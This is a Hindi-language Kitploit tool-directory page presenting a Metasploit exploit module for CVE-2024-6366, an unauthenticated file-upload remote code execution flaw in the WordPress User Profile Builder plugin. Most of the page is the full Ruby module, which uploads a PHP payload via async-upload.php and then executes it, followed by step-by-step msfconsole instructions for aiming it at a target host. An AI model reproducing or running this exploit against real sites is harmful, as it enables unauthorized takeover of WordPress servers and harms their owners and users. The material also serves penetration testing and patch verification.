Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-6366 — # CVE-2024-6366 के लिए Metasploit शोषण मॉड्यूल, WordPress User Profile Builder 3.11.8 से पहले के संस्करण में एक बिना प्रमाणीकरण के फ़ाइल अपलोड रिमोट कोड निष्पादन, PHP पेलोड अपलोड और निष्पादित करना। | Kitploit
उपकरण/GitHubGitHub/abdurahmon3236/cve-2024-6366
शोषण फ्रेमवर्कभेद्यता विश्लेषणकोड विश्लेषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंट
GitHubabdurahmon3236/cve-2024-6366

CVE-2024-6366

# CVE-2024-6366 के लिए Metasploit शोषण मॉड्यूल, WordPress User Profile Builder 3.11.8 से पहले के संस्करण में एक बिना प्रमाणीकरण के फ़ाइल अपलोड रिमोट कोड निष्पादन, PHP पेलोड अपलोड और निष्पादित करना।

रिपॉजिटरी देखें
142 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

User Profile Builder WordPress प्लगइन (संस्करण 3.11.8 से पहले) में RCE भेद्यता का शोषण करने के लिए एक Metasploit मॉड्यूल बनाने के लिए, हमें मीडिया फ़ाइल अपलोड कार्यक्षमता में उचित प्राधिकरण की कमी का लाभ उठाना होगा। यहाँ बताया गया है कि आप ऐसा Metasploit मॉड्यूल कैसे बना सकते हैं:

Metasploit मॉड्यूल

निम्नलिखित कोड को wordpress_user_profile_builder_rce.rb के रूप में अपने Metasploit Framework इंस्टॉलेशन के modules/exploits/unix/webapp निर्देशिका में सहेजें।

root@kitploit:~
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WordPress User Profile Builder Unauthenticated File Upload RCE',
      'Description'    => %q{
        This module exploits a vulnerability in the User Profile Builder WordPress plugin before version 3.11.8.
        The plugin does not have proper authorization, allowing unauthenticated users to upload media files via
        the async upload functionality. This can be leveraged to upload and execute a malicious PHP payload.
      },
      'Author'         =>
        [
          'Your Name'  # OneArch
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2024-6366'],  # Replace with the actual CVE identifier
          ['URL', 'https://example.com/advisory'] # Replace with an advisory link if available
        ],
      'Privileged'     => false,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          [ 'WordPress User Profile Builder < 3.11.8', {} ]
        ],
      'DisclosureDate' => 'Aug 03 2024',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "The base path to the WordPress installation", '/']),
      ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path),
    })

    if res && res.body.include?('wp-content/plugins/user-profile-builder')
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    php_payload = "<?php #{payload.encoded} ?>"
    data = Rex::MIME::Message.new
    data.add_part(php_payload, 'application/octet-stream', nil, "form-data; name=\"async-upload\"; filename=\"#{Rex::Text.rand_text_alpha(8..12)}.php\"")
    data.add_part('1', nil, nil, 'form-data; name="html-upload"')
    data.add_part('Upload', nil, nil, 'form-data; name="upload"')

    print_status("Uploading PHP payload...")
    res = send_request_cgi({
      'method'  => 'POST',
      'uri'     => normalize_uri(target_uri.path, 'wp-admin', 'async-upload.php'),
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
      'data'    => data.to_s
    })

    if res && res.code == 200 && res.body.include?('.php')
      php_path = res.body.match(/(\/wp-content\/uploads\/[0-9]+\/[0-9]+\/.*?\.php)/)[1]
      print_good("Payload uploaded successfully: #{php_path}")

      register_files_for_cleanup(php_path)
      execute_command("#{php_path}")
    else
      fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
    end
  end

  def execute_command(php_path)
    print_status("Executing PHP payload...")
    send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, php_path)
    })
  end
end

उपयोग निर्देश

  1. मॉड्यूल सहेजें: मॉड्यूल को wordpress_user_profile_builder_rce.rb के रूप में अपने Metasploit Framework इंस्टॉलेशन के modules/exploits/unix/webapp निर्देशिका में सहेजें।

    root@kitploit:~
    /path/to/metasploit-framework/modules/exploits/unix/webapp/wordpress_user_profile_builder_rce.rb
    
  2. Metasploit लोड करें: एक टर्मिनल खोलकर और निम्नलिखित कमांड चलाकर Metasploit Framework प्रारंभ करें:

    root@kitploit:~
    msfconsole
    
  3. नए मॉड्यूल का उपयोग करें: Metasploit कंसोल में, निम्नलिखित कमांड का उपयोग करके नए शोषण मॉड्यूल को लोड करें:

    root@kitploit:~
    use exploit/unix/webapp/wordpress_user_profile_builder_rce
    
  4. कॉन्फ़िगर करें और चलाएँ: RHOSTS और TARGETURI जैसे आवश्यक विकल्प सेट करें। फिर शोषण चलाएँ।

    root@kitploit:~
    msf6 > use exploit/unix/webapp/wordpress_user_profile_builder_rce
    msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > set RHOSTS target_ip
    RHOSTS => target_ip
    msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > set TARGETURI /
    TARGETURI => /
    msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > run
    

महत्वपूर्ण विचार

  • किसी भी सिस्टम का परीक्षण या शोषण करने से पहले सुनिश्चित करें कि आपके पास उपयुक्त अनुमतियाँ हैं।
  • यह मॉड्यूल एक मूल टेम्पलेट है और किसी विशिष्ट सेटअप के विरुद्ध काम करने या किसी विशेष लक्ष्य को प्राप्त करने के लिए संशोधन की आवश्यकता हो सकती है।
  • किसी भी उत्पादन सिस्टम पर उपयोग करने से पहले हमेशा मॉड्यूल का सुरक्षित और नियंत्रित वातावरण में परीक्षण करें।

यह Metasploit मॉड्यूल कमजोर WordPress इंस्टॉलेशन में एक दुर्भावनापूर्ण PHP फ़ाइल अपलोड करता है और फिर उसे रिमोट कोड निष्पादन प्राप्त करने के लिए निष्पादित करता है। भेद्यता की विशिष्ट प्रकृति और लक्ष्य वातावरण के आधार पर पेलोड और मॉड्यूल को आवश्यकतानुसार समायोजित करें।

टूल डाउनलोड करें